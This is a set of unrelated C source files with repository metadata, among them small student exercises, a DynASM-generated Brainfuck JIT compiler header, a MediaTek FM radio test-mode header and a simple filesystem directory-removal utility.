/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* aff_z.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: xbai <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/01/30 21:31:59 by xbai #+# #+# */ /* Updated: 2017/01/30 21:33:30 by xbai ### ########.fr */ /* */ /* ************************************************************************** */ #include <unistd.h> int main(void) { write(1, "z", 1); write(1, "\n", 1); return (0); }
86ac506458f120934fa652dcd1bbd5b6791e6361
686a8efc4c8eea61202772924994be6466ec0951
/commit/20170930/22171919/P31_2_4_1.c
2697080dee1a67c510560472f396cd2de31c6647
[]
no_license
LPJworkroom/TCPL17
6c20a1588e8fb44fa4c03b1143ea1ba16b247ef6
56c976e3a9360f69b9bdb8b50b97273c80027750
refs/heads/master
2021-04-26T04:44:56.250445
2017-10-15T09:53:09
2017-10-15T09:53:09
107,005,962
1
0
null
2017-10-15T11:23:18
2017-10-15T11:23:18
null
UTF-8
C
false
false
126
c
P31_2_4_1.c
#include<stdio.h> int main() { int x,y; printf("Enter x:"); scanf("%d",&x); y=x*(x*(x+2)+3)+1; printf("%d\n",y); return 0; }
9d96e111d9fa6bd78801a3fcdbcc9bced2bf9bd7
766ddd366179f1046fd6aa55efb30e3ff3fd9cae
/include/xmlAssistant/xmlAssistantAdapter.h
8827e93ee0284fd574bb94a5bcb863ee411a1ebd
[]
no_license
TaylorTong1021/apn_parser
5b78ac016300f386dcbb39c3b5a34147c82bd0ac
a1637f4c4baff6eeeef162470e3a825f67dc74a8
refs/heads/master
2020-06-27T04:31:02.049871
2019-08-26T03:48:21
2019-08-26T03:48:21
199,844,870
0
0
null
null
null
null
UTF-8
C
false
false
298
h
xmlAssistantAdapter.h
#ifndef _XML_ASSISTANT_ADAPTER_H_ #define _XML_ASSISTANT_ADAPTER_H_ #include "xmlAssistant/xmlAssistantImpl.h" #include "memory.h" int parseConfigXml(char* fileName, char* numberic, unsigned int parse_type, unsigned int get_node_type, int (*callfunc)(xml_data_node*)); #endif
3bfc090e1b03e0345d4afc18346c4d51d6430da5
63d9780aa69dcbe30767b3333289997e29106ea8
/brainfuck_jit_amd64_linux.h
974cf5b2a6a05458752edd1cc13fa2883cf16362
[ "MIT" ]
permissive
innocenat/brainfuck-jit
2d8020a97de5995ca17d98f5d6b7742b03c88305
ff2d072389e6bb8bdf9e45faf109e91ab3a0f463
refs/heads/master
2021-01-22T09:03:55.885178
2014-01-21T17:25:29
2014-01-21T17:25:29
null
0
0
null
null
null
null
UTF-8
C
false
false
5,185
h
brainfuck_jit_amd64_linux.h
/* ** This file has been pre-processed with DynASM. ** http://luajit.org/dynasm.html ** DynASM version 1.3.0, DynASM x64 version 1.3.0 ** DO NOT EDIT! The original file is in "brainfuck_jit_amd64_linux.dasc". */ #if DASM_VERSION != 10300 #error "Version mismatch between DynASM and included encoding engine" #endif # 1 "brainfuck_jit_amd64_linux.dasc" #pragma once #ifndef __BRAINFUCK_JIT #define __BRAINFUCK_JIT #include <stdio.h> #include <stdlib.h> #include <stdint.h> //|.arch x64 //|.actionlist actions static const unsigned char actions[165] = { 85,65,87,65,86,65,85,65,84,72,137,229,72,129,252,236,239,73,137,252,255,72, 49,252,255,73,137,252,238,73,129,252,238,239,77,49,228,255,65,128,7,235,255, 65,128,47,235,255,73,129,199,239,255,73,129,252,239,239,255,73,15,182,7,67, 136,4,38,73,252,255,196,73,129,252,252,239,15,140,244,247,67,198,4,38,0,76, 137,252,247,77,49,228,72,184,237,237,252,255,208,248,1,255,72,184,237,237, 252,255,208,65,136,7,255,252,233,245,250,15,249,255,250,15,249,65,128,63, 0,15,133,245,255,67,198,4,38,0,76,137,252,247,72,184,237,237,252,255,208, 72,49,192,72,137,252,236,65,92,65,93,65,94,65,95,93,195,255 }; # 12 "brainfuck_jit_amd64_linux.dasc" //|.section code #define DASM_SECTION_CODE 0 #define DASM_MAXSECTION 1 # 13 "brainfuck_jit_amd64_linux.dasc" //|.globals GLOB_ enum { GLOB__MAX }; # 14 "brainfuck_jit_amd64_linux.dasc" //|.define PRM, rdi #define Dst &state typedef int (__cdecl *BrainfuckBinary)(uint8_t* memory); BrainfuckBinary brainfuck_create_binary(char* code, int len, int MAX_NESTING, int OUT_BUFFSIZE) { // Initialize GIT dasm_State *state; initjit(&state, actions, GLOB__MAX); // Dynamic label uint32_t maxpc = 0; int pcstack[MAX_NESTING]; int *top = pcstack, *limit = pcstack + MAX_NESTING; //| // Store register //| push rbp //| push r15 //| push r14 //| push r13 //| push r12 //| //| // Create working area //| mov rbp, rsp //| sub rsp, OUT_BUFFSIZE+64 // and shadow space is already reserved //| //| // PARA = first argument, the memory buffer //| mov r15, PRM //| xor PRM, PRM //| //| // Output buffering //| mov r14, rbp //| sub r14, OUT_BUFFSIZE+4 //| xor r12, r12 dasm_put(Dst, 0, OUT_BUFFSIZE+64, OUT_BUFFSIZE+4); # 49 "brainfuck_jit_amd64_linux.dasc" char last = 0; int count = 0; for (int i = 0; i < len; i++) { char in = code[i]; if (in != last) { switch (last) { case '+': //| add byte [r15], count dasm_put(Dst, 38, count); # 60 "brainfuck_jit_amd64_linux.dasc" break; case '-': //| sub byte [r15], count dasm_put(Dst, 43, count); # 63 "brainfuck_jit_amd64_linux.dasc" break; case '>': //| add r15, count dasm_put(Dst, 48, count); # 66 "brainfuck_jit_amd64_linux.dasc" break; case '<': //| sub r15, count dasm_put(Dst, 53, count); # 69 "brainfuck_jit_amd64_linux.dasc" break; } count = 0; } last = in; switch (in) { case '+': count++; break; case '-': count++; break; case '>': count++; break; case '<': count++; break; case '.': //| // Store current char in buffer //| movzx rax, byte [r15] //| mov byte [r14+r12], al //| inc r12 //| //| // If buffer is not overflowing, do not print //| cmp r12, OUT_BUFFSIZE //| jl >1 //| //| // Print out //| mov byte [r14+r12], 0 //| mov PRM, r14 //| xor r12, r12 //| mov64 rax, (uintptr_t) printf //| call rax //| //| 1: dasm_put(Dst, 59, OUT_BUFFSIZE, (unsigned int)((uintptr_t) printf), (unsigned int)(((uintptr_t) printf)>>32)); # 112 "brainfuck_jit_amd64_linux.dasc" break; case ',': //| mov64 rax, (uintptr_t) getchar //| call rax //| mov byte [r15], al dasm_put(Dst, 102, (unsigned int)((uintptr_t) getchar), (unsigned int)(((uintptr_t) getchar)>>32)); # 118 "brainfuck_jit_amd64_linux.dasc" break; case '[': if (top == limit) return 0; maxpc += 2; *top++ = maxpc; dasm_growpc(&state, maxpc); //| jmp =>(maxpc-2) //| //|.align 16 //| =>(maxpc-1): dasm_put(Dst, 113, (maxpc-2), (maxpc-1)); # 132 "brainfuck_jit_amd64_linux.dasc" break; case ']': if (top == pcstack) return 0; top--; //|.align 16 //| =>(*top-2): //| cmp byte [r15], 0 //| jne =>(*top-1) dasm_put(Dst, 120, (*top-2), (*top-1)); # 144 "brainfuck_jit_amd64_linux.dasc" break; } } //| // Print remaining char in buffer //| mov byte [r14+r12], 0 //| mov PRM, r14 //| mov64 rax, (uintptr_t) printf //| call rax //| //| // Function epilogue //| xor rax, rax //| mov rsp, rbp //| pop r12 //| pop r13 //| pop r14 //| pop r15 //| pop rbp //| ret dasm_put(Dst, 131, (unsigned int)((uintptr_t) printf), (unsigned int)(((uintptr_t) printf)>>32)); # 163 "brainfuck_jit_amd64_linux.dasc" BrainfuckBinary fptr = (BrainfuckBinary) jitcode(&state); return fptr; } #undef Dst #endif
591e0436e5b99154939bb6f6abde3e642ecc2a60
3e51aedde7e8e91fb72c24d846490f430abfea13
/alps/mediatek/platform/mt6577/external/meta/fm/meta_fm_para.h
342bff6daaed6f782fd720ed4f7697fd541c7465
[]
no_license
cyclon1978/cynus_f3_superkernel
9e71f937a6e78ce6038e0e7234e80511e6665c18
95b1538ce18e8763f530b30326735237fa9cd443
refs/heads/master
2020-05-30T16:40:13.405330
2014-09-22T09:33:40
2014-09-22T09:33:40
23,697,645
2
0
null
null
null
null
UTF-8
C
false
false
19,348
h
meta_fm_para.h
/* Copyright Statement: * * This software/firmware and related documentation ("MediaTek Software") are * protected under relevant copyright laws. The information contained herein * is confidential and proprietary to MediaTek Inc. and/or its licensors. * Without the prior written permission of MediaTek inc. and/or its licensors, * any reproduction, modification, use or disclosure of MediaTek Software, * and information contained herein, in whole or in part, shall be strictly prohibited. */ /* MediaTek Inc. (C) 2010. All rights reserved. * * BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES * THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE") * RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER ON * AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT. * NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH RESPECT TO THE * SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY, INCORPORATED IN, OR * SUPPLIED WITH THE MEDIATEK SOFTWARE, AND RECEIVER AGREES TO LOOK ONLY TO SUCH * THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO. RECEIVER EXPRESSLY ACKNOWLEDGES * THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES * CONTAINED IN MEDIATEK SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK * SOFTWARE RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR * STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S ENTIRE AND * CUMULATIVE LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE RELEASED HEREUNDER WILL BE, * AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE MEDIATEK SOFTWARE AT ISSUE, * OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE CHARGE PAID BY RECEIVER TO * MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE. * * The following software/firmware and/or related documentation ("MediaTek Software") * have been modified by MediaTek Inc. All revisions are subject to any receiver's * applicable license agreements with MediaTek Inc. */ /***************************************************************************** * Copyright Statement: * -------------------- * This software is protected by Copyright and the information contained * herein is confidential. The software may not be copied and the information * contained herein may not be used or disclosed except with the written * permission of MediaTek Inc. (C) 2008 * * BY OPENING THIS FILE, BUYER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES * THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE") * RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO BUYER ON * AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT. * NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH RESPECT TO THE * SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY, INCORPORATED IN, OR * SUPPLIED WITH THE MEDIATEK SOFTWARE, AND BUYER AGREES TO LOOK ONLY TO SUCH * THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO. MEDIATEK SHALL ALSO * NOT BE RESPONSIBLE FOR ANY MEDIATEK SOFTWARE RELEASES MADE TO BUYER'S * SPECIFICATION OR TO CONFORM TO A PARTICULAR STANDARD OR OPEN FORUM. * * BUYER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S ENTIRE AND CUMULATIVE * LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE RELEASED HEREUNDER WILL BE, * AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE MEDIATEK SOFTWARE AT ISSUE, * OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE CHARGE PAID BY BUYER TO * MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE. * * THE TRANSACTION CONTEMPLATED HEREUNDER SHALL BE CONSTRUED IN ACCORDANCE * WITH THE LAWS OF THE STATE OF CALIFORNIA, USA, EXCLUDING ITS CONFLICT OF * LAWS PRINCIPLES. ANY DISPUTES, CONTROVERSIES OR CLAIMS ARISING THEREOF AND * RELATED THERETO SHALL BE SETTLED BY ARBITRATION IN SAN FRANCISCO, CA, UNDER * THE RULES OF THE INTERNATIONAL CHAMBER OF COMMERCE (ICC). * *****************************************************************************/ /***************************************************************************** * * Filename: * --------- * meta_fm.h * * Project: * -------- * YUSU * * Description: * ------------ * FM meta data struct define. * * Author: * ------- * LiChunhui (MTK80143) * *============================================================================ * HISTORY * Below this line, this part is controlled by CC/CQ. DO NOT MODIFY!! *------------------------------------------------------------------------------ * $Revision:$ * $Modtime:$ * $Log:$ * * 12 03 2010 hongcheng.xia * [ALPS00136616] [Need Patch] [Volunteer Patch]FM Meta bugs Fix * . * * 11 18 2010 hongcheng.xia * [ALPS00135614] [Need Patch] [Volunteer Patch]MT6620 FM Radio code check in * . * * 08 28 2010 chunhui.li * [ALPS00123709] [Bluetooth] meta mode check in * for FM meta enable * *------------------------------------------------------------------------------ * Upper this line, this part is controlled by CC/CQ. DO NOT MODIFY!! *============================================================================ ****************************************************************************/ #ifndef __META_FM_H_ #define __META_FM_H_ #include <linux/fm.h> #define FT_CNF_OK 0 #define FT_CNF_FAIL 1 #ifdef __cplusplus extern "C" { #endif /* The TestCase Enum define of FM_module */ typedef enum { FM_OP_READ_CHIP_ID = 0 //V 0 , FM_OP_POWER_ON //V 1 , FM_OP_POWER_OFF //V 2 , FM_OP_SET_FREQ //V 3 , FM_OP_SET_MONO_STEREO_BLEND //V 4 , FM_OP_GET_SIGNAL_VAL //V 5 , FM_OP_GET_IF_CNT // 6 , FM_OP_SEARCH_NEXT_STAT //V 7 , FM_OP_SEARCH_PREV_STAT //V 8 , FM_OP_READ_ANY_BYTE //V 9 , FM_OP_WRITE_ANY_BYTE //V 10 , FM_OP_SOFT_MUTE_ONOFF //V 11 , FM_OP_SELECT_SOFT_MUTE_STAGE //V 12 , FM_OP_SELECT_STEREO_BLEND // 13 , FM_OP_SET_RSSI_THRESHOLD //V 14 , FM_OP_SET_IF_CNT_DELTA // 15 , FM_OP_GET_H_L_SIDE //V 16 , FM_OP_GET_STEREO_MONO // 17 , FM_OP_SET_VOLUME //V 18 , FM_OP_FM_AUTOSCAN //V 19 , FM_OP_SET_RDS // 20 , FM_OP_GET_RXFILTER_BW // 21 , FM_OP_GET_PAMD_LEVEL // 22 , FM_OP_GET_MR // 23 , FM_OP_SET_DECODE_MODE // 24 , FM_OP_SET_HCC //V 25 , FM_OP_SET_PAMD_THRESHOLD //V 26 , FM_OP_SET_SOFTMUTE //V 27 , FM_OP_SET_DEEMPHASIS_LEVEL // 28 , FM_OP_SET_H_L_SIDE // 29 , FM_OP_SET_DEMOD_BW // 30 , FM_OP_SET_DYNAMIC_LIMITER //V 31 , FM_OP_SET_SOFTMUTE_RATE //V 32 , FM_OP_GET_PI // 33 , FM_OP_GET_PTY // 34 , FM_OP_GET_TP // 35 , FM_OP_GET_PS // 36 , FM_OP_GET_AF // 37 , FM_OP_GET_TA // 38 , FM_OP_GET_MS // 39 , FM_OP_GET_RT // 40 , FM_OP_GET_GOOD_BLOCK_COUNTER // 41 , FM_OP_GET_BAD_BLOCK_COUNTER // 42 , FM_OP_RESET_BLOCK_COUNTER // 43 , FM_OP_GET_GROUP_COUNTER // 44 , FM_OP_RESET_GROUP_COUNTER // 45 , FM_OP_HWSEEK // 46 , FM_OP_HWSEARCH_STOP // 47 , FM_OP_SET_STEREO_BLEND // 48 , FM_OP_GET_RDS_LOG // 49 , FM_OP_GET_RDS_BLER // 50 , FM_OP_POWER_ON_TX //V 51 , FM_OP_SET_FREQ_TX //V 52 , FM_OP_SET_RDS_TX //V 53 , FM_OP_SET_AUDIO_PATH_TX //54 , FM_OP_SET_AUDIO_FREQ_TX //55 , FM_OP_SET_ANTENNA //56 , FM_OP_GET_CAPARRY //57 , FM_OP_GET_STEP_MODE //58 , FM_OP_END // } FM_OP; typedef enum { FM_CHIP_ID_MT6189AN = 0, FM_CHIP_ID_MT6189BN_CN = 1, FM_CHIP_ID_MT6188A = 3, FM_CHIP_ID_MT6188C = 4, FM_CHIP_ID_MT6188D = 5, FM_CHIP_ID_MT6616 = 6, FM_CHIP_ID_AR1000 = 7, FM_CHIP_ID_MT6620 = 8, FM_CHIP_ID_MT6626 = 9, FM_CHIP_ID_MT6628 = 10 } FM_CHIP_ID_E; typedef enum fmtx_tone_freq { FMTX_1K_TONE = 1, FMTX_2K_TONE = 2, FMTX_3K_TONE = 3, FMTX_4K_TONE = 4, FMTX_5K_TONE = 5, FMTX_6K_TONE = 6, FMTX_7K_TONE = 7, FMTX_8K_TONE = 8, FMTX_9K_TONE = 9, FMTX_10K_TONE = 10, FMTX_11K_TONE = 11, FMTX_12K_TONE = 12, FMTX_13K_TONE = 13, FMTX_14K_TONE = 14, FMTX_15K_TONE = 15, FMTX_MAX_TONE } FM_TX_TONE_T; typedef enum{ FM_TX_AUDIO_ANALOG = 0, FM_TX_AUDIO_I2S = 1, FM_RX_AUDIO_ANALOG = 2, FM_RX_AUDIO_I2S = 3, FM_AUDIO_MAX } FM_TX_AUDIO_PATH_T; typedef enum{ FM_OFF = 0, FM_ON_RX, FM_ON_TX, FM_MAX } FM_STATE_T; typedef enum{ FM_RDS_OFF = 0, FM_RDS_RX_ON, FM_RDS_TX_ON, FM_RDS_MAX } FM_RDS_T; enum { FM_ANA_LONG = 0, FM_ANA_SHORT = 1, FM_ANA_MAX }; typedef struct { FM_STATE_T state; FM_RDS_T rds_t; FM_TX_TONE_T tx_tone; FM_TX_AUDIO_PATH_T audio_path; } fm_status; typedef struct { unsigned char pty; // 0~31 integer unsigned char rds_rbds; // 0:RDS, 1:RBDS unsigned char dyn_pty; // 0:static, 1:dynamic unsigned short pi_code; // 2-byte hex unsigned char ps_buf[8]; // hex buf of PS unsigned char ps_len; // length of PS, must be 0 / 8" unsigned char af; // 0~204, 0:not used, 1~204:(87.5+0.1*af)MHz unsigned char ah; // Artificial head, 0:no, 1:yes unsigned char stereo; // 0:mono, 1:stereo unsigned char compress; // Audio compress, 0:no, 1:yes unsigned char tp; // traffic program, 0:no, 1:yes unsigned char ta; // traffic announcement, 0:no, 1:yes unsigned char speech; // 0:music, 1:speech } FM_RDS_TX_REQ_T; typedef struct { unsigned short m_u2StopFreq; unsigned char m_ucSignalLvl; } ValidStopResStr; typedef struct { unsigned int m_u4ItemValue; } RSSIThresholdStr; typedef struct { unsigned short con_hdl; unsigned short len; unsigned char buffer[1024]; } FM_BUFFER; typedef struct { unsigned char m_ucAddr; } FM_READ_BYTE_ADDR_REQ_T; typedef struct { short m_i2CurFreq; } FM_FREQ_REQ_T; typedef struct { unsigned short m_u2MonoOrStereo; unsigned short m_u2SblendOnOrOff; unsigned int m_u4ItemValue; } FM_MONO_STEREO_BLEND_REQ_T; typedef struct { short m_i2StartFreq; short m_i2StopFreq; } FM_FREQ_RANGE_REQ_T; typedef struct { unsigned int m_u4RssiThreshold; } FM_RSSI_THRESHOLD_REQ_T; typedef struct { unsigned int m_u4IfCntDelta; } FM_IF_CNT_DELTA_REQ_T; typedef struct { unsigned char m_ucAddr; unsigned short m_u2WriteByte; } FM_WRITE_BYTE_REQ_T; typedef struct { unsigned char m_bOnOff; } FM_SOFT_MUTE_ONOFF_REQ_T; typedef struct { unsigned char m_ucStage; } FM_STAGE_REQ_T; typedef struct { unsigned char m_ucVolume; char m_cDigitalGainIndex; } FM_Volume_Setting_REQ_T; #ifdef FM_50KHZ_SUPPORT typedef struct { unsigned short m_u2Bitmap[26]; } FM_AutoScan_CNF_T; #else typedef struct { unsigned short m_u2Bitmap[16]; } FM_AutoScan_CNF_T; #endif typedef struct { unsigned char m_ucRDSOn; } FM_SetRDS_REQ_T; typedef struct { unsigned int m_u4DecodeMode; } FM_Decode_Mode_REQ_T; typedef struct { unsigned int m_u4HCC; } FM_HCC_REQ_T; typedef struct { unsigned int m_u4PAMDThreshold; } FM_PAMD_Threshold_REQ_T; typedef struct { unsigned int m_u4SoftmuteEnable; } FM_Softmute_Enable_REQ_T; typedef struct { unsigned int m_u4DeemphasisLevel; } FM_Deemphasis_Level_REQ_T; typedef struct { unsigned int m_u4HLSide; } FM_HL_Side_REQ_T; typedef struct { unsigned int m_u4DemodBandwidth; } FM_Demod_Bandwidth_REQ_T; typedef struct { unsigned int m_u4DynamicLimiter; } FM_DynamicLimiter_REQ_T; typedef struct { unsigned int m_u4SoftmuteRate; } FM_Softmute_Rate_REQ_T; typedef enum{ RDS_CMD_NONE = 0, RDS_CMD_PI_CODE, RDS_CMD_PTY_CODE, RDS_CMD_PROGRAMNAME, RDS_CMD_LOCDATETIME, RDS_CMD_UTCDATETIME, RDS_CMD_LAST_RADIOTEXT, RDS_CMD_AF, RDS_CMD_AF_LIST, RDS_CMD_AFON, RDS_CMD_TAON, RDS_CMD_TAON_OFF = 0x0fffffff } RdsCmd; #if 0 typedef enum{ RDS_FLAG_IS_TP = 0x000001, RDS_FLAG_IS_TA = 0x000002, RDS_FLAG_IS_MUSIC = 0x000004, RDS_FLAG_IS_STEREO = 0x000008, RDS_FLAG_IS_ARTIFICIAL_HEAD = 0x000010, RDS_FLAG_IS_COMPRESSED = 0x000020, RDS_FLAG_IS_DYNAMIC_PTY = 0x000040, RDS_FLAG_TEXT_AB = 0x000080 } RdsFlag; typedef enum{ RDS_EVENT_FLAGS = 0x0001, RDS_EVENT_PI_CODE = 0x0002, RDS_EVENT_PTY_CODE = 0x0004, RDS_EVENT_PROGRAMNAME = 0x0008, RDS_EVENT_UTCDATETIME = 0x0010, RDS_EVENT_LOCDATETIME = 0x0020, RDS_EVENT_LAST_RADIOTEXT = 0x0040, RDS_EVENT_AF = 0x0080, RDS_EVENT_AF_LIST = 0x0100, RDS_EVENT_AFON_LIST = 0x0200, RDS_EVENT_TAON = 0x0400, RDS_EVENT_TAON_OFF = 0x0800 } RdsEvent; #endif typedef struct { RdsCmd m_eCmd; } FM_RDS_Info_REQ_T; typedef struct { unsigned char m_buffer[64]; } FM_RDS_Info_CNF_T; typedef struct { RdsFlag m_eFlag; unsigned char m_buffer[64]; } FM_RDS_Status_CNF_T; typedef struct { unsigned short m_u2GroupCounter[32]; } FM_RDS_Group_Counter_CNF_T; typedef struct { short m_i2StartFreq; unsigned char m_ucDirection; } FM_HWSeek_REQ_T; typedef struct { unsigned short m_u2StereoBlendControl; } FM_SetStereoBlend_REQ_T; typedef struct { int m_audioPath; } FM_SetTxAudioPath_REQ_T; typedef struct { int m_audioFreq; } FM_SetTxAudioFreq_REQ_T; typedef struct{ int ana; }FM_SetAntenna_REQ_T; typedef union { FM_READ_BYTE_ADDR_REQ_T m_rReadAddr; FM_FREQ_REQ_T m_rCurFreq; FM_RDS_TX_REQ_T m_rRdsTx; FM_MONO_STEREO_BLEND_REQ_T m_rMonoStereoSettings; FM_FREQ_RANGE_REQ_T m_rFreqRange; FM_RSSI_THRESHOLD_REQ_T m_rRssiThreshold; FM_IF_CNT_DELTA_REQ_T m_rIfCntDelta; FM_WRITE_BYTE_REQ_T m_rWriteByte; FM_SOFT_MUTE_ONOFF_REQ_T m_rSoftMuteOnOff; FM_STAGE_REQ_T m_rStage; FM_Volume_Setting_REQ_T m_rVolumeSetting; FM_SetRDS_REQ_T m_rSetRDS; FM_Decode_Mode_REQ_T m_rDecodeMode; FM_HCC_REQ_T m_rHCC; FM_PAMD_Threshold_REQ_T m_rPAMDThreshold; FM_Softmute_Enable_REQ_T m_rSoftmuteEnable; FM_Deemphasis_Level_REQ_T m_rDeemphasisLevel; FM_HL_Side_REQ_T m_rHLSide; FM_Demod_Bandwidth_REQ_T m_rDemodBandwidth; FM_DynamicLimiter_REQ_T m_rDynamicLimiter; FM_Softmute_Rate_REQ_T m_rSoftmuteRate; FM_RDS_Info_REQ_T m_rRDSInfo; FM_HWSeek_REQ_T m_rHWSeek; FM_SetStereoBlend_REQ_T m_rStereoBlendControl; FM_SetTxAudioFreq_REQ_T m_rAudioFreqCtrl; FM_SetTxAudioPath_REQ_T m_rAudioPathCtrl; FM_SetAntenna_REQ_T m_rAntenna; } META_FM_CMD_U; typedef struct { FT_H header; //module do not need care it FM_OP op; META_FM_CMD_U cmd; } FM_REQ; typedef struct { unsigned char m_ucChipId; } FM_CHIP_ID_CNF_T; typedef struct { int m_ucSignalLevel; } FM_RSSI_CNF_T; typedef struct { unsigned short m_u2IfCnt; } FM_IF_CNT_CNF_T; typedef struct { unsigned char m_ucExit; // 0: don't exist, 1: exist short int m_i2ValidFreq; // -1: settings error, 0: invalid freq, others: 875-1080 valid } FM_VAILD_FREQ_CNF_T; typedef struct { unsigned short m_u2ReadByte; } FM_READ_BYTE_CNF_T; typedef struct { unsigned char m_ucHighOrLow; } FM_HL_Side_CNF_T; typedef struct { unsigned char m_ucStereoOrMono; } FM_Stereo_Mono_CNF_T; typedef struct { unsigned char m_ucRXFilterBW; } FM_RX_FilterBW_CNF_T; typedef struct { unsigned char m_ucPAMDLevel; } FM_PAMD_Level_CNF_T; typedef struct { unsigned char m_ucMR; } FM_MR_CNF_T; typedef struct { int m_uCapArray; }FM_CapArray_CNF_T; typedef struct{ unsigned short m_u2GoodBlock; } FM_RDS_Good_Block_Counter_CNF_T; typedef struct { unsigned short m_u2BadBlock; } FM_RDS_Bad_Block_Counter_CNF_T; typedef union { FM_RDS_Status_CNF_T m_rRDSStatus; FM_RDS_Info_CNF_T m_rRDSInfo; } FM_RDS_U; typedef struct { RdsEvent eventtype; FM_RDS_U m_rRDS; } FM_RDS_CNF_T; typedef struct { short m_i2EndFreq; } FM_HWSeek_CNF_T; typedef struct { int m_i4Step; } FM_STEP_MODE_CNF_T; typedef union { FM_CHIP_ID_CNF_T m_rChipId; FM_RSSI_CNF_T m_rSignalValue; FM_IF_CNT_CNF_T m_rIfCnt; FM_VAILD_FREQ_CNF_T m_rValidFreq; FM_READ_BYTE_CNF_T m_rReadByte; FM_HL_Side_CNF_T m_rHLSide; FM_Stereo_Mono_CNF_T m_rStereoMono; FM_RX_FilterBW_CNF_T m_rRXFilterBW; FM_PAMD_Level_CNF_T m_rPAMDLevel; FM_MR_CNF_T m_rMR; FM_RDS_Good_Block_Counter_CNF_T m_rRDSGoodBlockCounter; FM_RDS_Bad_Block_Counter_CNF_T m_rRDSBadBlockCounter; FM_HWSeek_CNF_T m_rHWSeek; FM_CapArray_CNF_T m_rCapArray; FM_STEP_MODE_CNF_T m_rStep; } META_FM_CNF_U; typedef struct { FT_H header; //module do not need care it FM_OP op; META_FM_CNF_U fm_result; //fm->FT int drv_status; unsigned int status; } FM_CNF; bool META_FM_init(); void META_FM_deinit(); void META_FM_OP(FM_REQ *req, char *peer_buff, unsigned short peer_len) ; #ifdef __cplusplus }; #endif #endif
bbb70c57e0e5eaddfb345404dfede3820e932ade
90505d747004cac6f25c5db89618a802b79a4c3d
/teste/rmdirt2.c
893b80fd87106f5494b82c3e7473f2662c925f6e
[]
no_license
phfaustini/sisop1t2
8f0b0c3405844f512d7bdf83bdbe4d929b98dcc9
ad6142d9e40a03e1c3b3f47fac44525d7b3f0510
refs/heads/master
2021-01-25T10:16:31.753111
2014-07-09T01:31:36
2014-07-09T01:31:36
null
0
0
null
null
null
null
UTF-8
C
false
false
1,392
c
rmdirt2.c
/* Remove um diretório, passado por caminho absoluto. Para que o diretório seja removido, ele deve estar vazio. Se houver, erro indicativo.. Todos os diretórios que compõem o caminho abosluto devem existir. Se não, erro indicativo. */ #include <stdio.h> #include <stdlib.h> #include "../include/t2fs.h" #include "../include/funcoesAuxiliares.h" int main(int argc, char *argv[]) { char* buffer = (char*) malloc(tamanho_bloco); struct t2fs_record* diretorio = (struct t2fs_record*)malloc(sizeof(struct t2fs_record)); struct t2fs_record* record = (struct t2fs_record*)malloc(sizeof(struct t2fs_record)); int i, ptr1; DWORD* bloco; DWORD blocol; // Valida entrada if(2 != argc) { printf("\n Entrada invalida! Uso: rmdirt2 <diretorio logico> \n"); return 1; } record = get_descritor_arquivo(argv[1]); if(record==NULL || record->TypeVal!=2) { printf("Caminho informado nao eh de diretorio valido!\n"); return 0; } blocol=caminho_valido(argv[1]); bloco=&blocol; if(record->dataPtr[0]==-1 && record->dataPtr[1]==-1 && record->singleIndPtr==-1 && record->doubleIndPtr==-1) { t2fs_close(argv[1]); excluiarquivobitmap(bloco); } else printf("Diretorio nao vazio!\n"); return 0; }
1193bafdac21897eaf50ce7ab4e0ac24e72f6685
5b9f937463cd1d0d2ff795c718031b242bc941bc
/src/parser/parser_color_hexa.c
fbc32c39f96225055a7bd22afe89c7e32af051fa
[]
no_license
Nrivoire/RT
139b6c122070fa8f6883d25d0d78ae13647e08e9
8b6606815626ac1ff61908450cc528d0c177b8e4
refs/heads/master
2021-01-02T09:58:55.600349
2020-05-25T08:36:36
2020-05-25T08:36:36
239,565,090
0
0
null
2020-03-31T15:26:02
2020-02-10T17:00:15
C
UTF-8
C
false
false
2,246
c
parser_color_hexa.c
